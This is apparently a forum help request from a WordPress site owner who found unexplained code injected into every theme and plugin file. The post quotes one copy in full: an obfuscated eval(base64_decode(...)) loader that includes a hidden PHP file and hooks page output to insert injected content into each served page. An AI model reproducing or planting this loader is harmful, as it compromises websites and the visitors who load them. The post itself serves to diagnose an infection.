Strange PHP code

[av_arias9431]

Hello!

I have a small problem, in each php file of the theme now is code that I dont´n know how was written in the files, this code is doing that each time that I save or edit a file in WP and try to save ask me for my user and password using this direction http://www.mesianicos.com/wp-admin/theme-editor.php. I'm copying the code that is each of my files, each time that I write my user and pass the line are incrementing

<? /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl 9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXsk R0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG 9tZS9ncnVwb2FsYy9tZXNpYW5pYy9wb21tbzIvdGhlbWVzL3d5 c2l3eWcvZmNrZWRpdG9yL2VkaXRvci9kaWFsb2cvZmNrX3RlbX BsYXRlL2ltYWdlcy9tZGxfdXRmLnBocCcpKXtpbmNsdWRlX29u Y2UoJy9ob21lL2dydXBvYWxjL21lc2lhbmljL3BvbW1vMi90aG VtZXMvd3lzaXd5Zy9mY2tlZGl0b3IvZWRpdG9yL2RpYWxvZy9m Y2tfdGVtcGxhdGUvaW1hZ2VzL21kbF91dGYucGhwJyk7aWYoZn VuY3Rpb25fZXhpc3RzKCdnbWwnKSYmIWZ1bmN0aW9uX2V4aXN0 cygnZGdvYmgnKSl7aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZW NvZGUnKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJFIyMEZENjVFOUM3 NDA2MDM0RkFEQzY4MkYwNjczMjg2OCl7JFI2QjZFOThDREU4Qj MzMDg3QTMzRTREM0E0OTdCRDg2Qj1vcmQoc3Vic3RyKCRSMjBG RDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsMywxKSk7JF I2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT0xMDsk UjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPTA7aW YoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiY0 KXskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPX VucGFjaygndicsc3Vic3RyKCRSMjBGRDY1RTlDNzQwNjAzNEZB REM2ODJGMDY3MzI4NjgsMTAsMikpOyRSMEQ1NDIzNkRBMjA1OT RFQzEzRkM4MUIyMDk3MzM5MzE9JFIwRDU0MjM2REEyMDU5NEVD MTNGQzgxQjIwOTczMzkzMVsxXTskUjYwMTY5Q0QxQzQ3QjdBN0 E4NUFCNDRGODg0NjM1RTQxKz0yKyRSMEQ1NDIzNkRBMjA1OTRF QzEzRkM4MUIyMDk3MzM5MzE7fWlmKCRSNkI2RTk4Q0RFOEIzMz A4N0EzM0U0RDNBNDk3QkQ4NkImOCl7JFI2MDE2OUNEMUM0N0I3 QTdBODVBQjQ0Rjg4NDYzNUU0MT1zdHJwb3MoJFIyMEZENjVFOU M3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCxjaHIoMCksJFI2MDE2 OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkrMTt9aWYoJF I2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiYxNil7 JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT1zdH Jwb3MoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2 OCxjaHIoMCksJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4ND YzNUU0MSkrMTt9aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTRE M0E0OTdCRDg2QiYyKXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCND RGODg0NjM1RTQxKz0yO30kUkM0QTVCNUUzMTBFRDRDMzIzRTA0 RDcyQUZBRTM5RjUzPWd6aW5mbGF0ZShzdWJzdHIoJFIyMEZENj VFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwkUjYwMTY5Q0Qx QzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSk7aWYoJFJDNEE1Qj VFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz09PUZBTFNFKXsk UkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPSRSMj BGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4Njg7fXJldHVy biAkUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzO3 19ZnVuY3Rpb24gZGdvYmgoJFJEQTNFNjE0MTRFNTBBRUU5Njgx MzJGMDNEMjY1RTBDRil7SGVhZGVyKCdDb250ZW50LUVuY29kaW 5nOiBub25lJyk7JFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZC OTFFMkU5MD1nemRlY29kZSgkUkRBM0U2MTQxNEU1MEFFRTk2OD EzMkYwM0QyNjVFMENGKTtpZihwcmVnX21hdGNoKCcvXDxib2R5 L3NpJywkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRT kwKSl7cmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPGJvZHlbXlw+ XSpcPikvc2knLCckMScuZ21sKCksJFIzRTMzRTAxN0NENzZCOU I3RTZDNzM2NEZCOTFFMkU5MCk7fWVsc2V7cmV0dXJuIGdtbCgp LiRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTA7fX 1vYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>


Also the pulgins have this code.